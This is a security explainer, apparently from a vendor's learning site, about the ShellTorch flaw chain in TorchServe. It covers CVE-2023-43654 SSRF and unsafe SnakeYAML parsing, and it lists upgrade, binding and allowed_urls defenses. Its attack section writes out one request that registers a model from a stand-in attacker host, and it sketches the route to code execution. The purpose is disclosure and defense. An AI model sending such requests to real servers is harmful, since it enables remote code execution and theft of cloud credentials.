

What is ShellTorch?

ShellTorch is the name for a chain of flaws in TorchServe, the open-source server for running PyTorch models, disclosed in October 2023. The management API often listened on all interfaces with no authentication; CVE-2023-43654, a server-side request forgery, let anyone make it download a model archive from any URL; and unsafe YAML parsing (CVE-2022-1471 in SnakeYAML) in a model config turned that into remote code execution. TorchServe 0.1.0 to 0.8.1 were affected; 0.8.2 fixed the chain.

HOW IT WORKS

01 How the attack works

Shown for defensive context, the chain needs only network reach to the management port:

- Register a model from a remote URL: POST `/models?url=http://attacker.example/evil.mar` to the management API. TorchServe downloads the model archive.
- The archive carries a malicious config whose YAML triggers SnakeYAML to build an attacker-chosen Java object, or a model handler file with Python code that runs on load.
- Code runs as the TorchServe process, with access to every loaded model, mounted datasets and any cloud credentials on the host.

Internet scans at disclosure found thousands of TorchServe management interfaces exposed publicly. The same pattern, an ML serving tool that trusts whoever can reach it, shows up again and again in AI infrastructure; see model file supply-chain attacks for the wider class.

HOW TO DEFEND

- Upgrade TorchServe to 0.8.2 or later, and preferably a current release, since later versions added token authorization for the management API.
- Bind the management API to localhost with `management_address=http://127.0.0.1:8081` in `config.properties`, and never expose ports 8081 or 8082 to the internet.
- Set `allowed_urls` to a strict regex for your own model registry so the server cannot fetch archives from arbitrary hosts.
- Treat model files as code. Only load archives from trusted, signed sources, because a model archive can carry executable handlers and configuration.
- Hunt for unexpected model registrations in TorchServe logs and outbound downloads from model servers.

SOURCES

- [1] TorchServe advisory GHSA-8fxr-qfr9-p34w (CVE-2023-43654)
- [2] NVD: CVE-2023-43654
- [3] NVD: CVE-2022-1471 (SnakeYAML)
- [4] MITRE CWE-502: Deserialization of Untrusted Data

Find the path to a shell before an attacker does.

`securelayer7.net/learn/web-exploitation/what-is-shelltorch`

[Open online](#)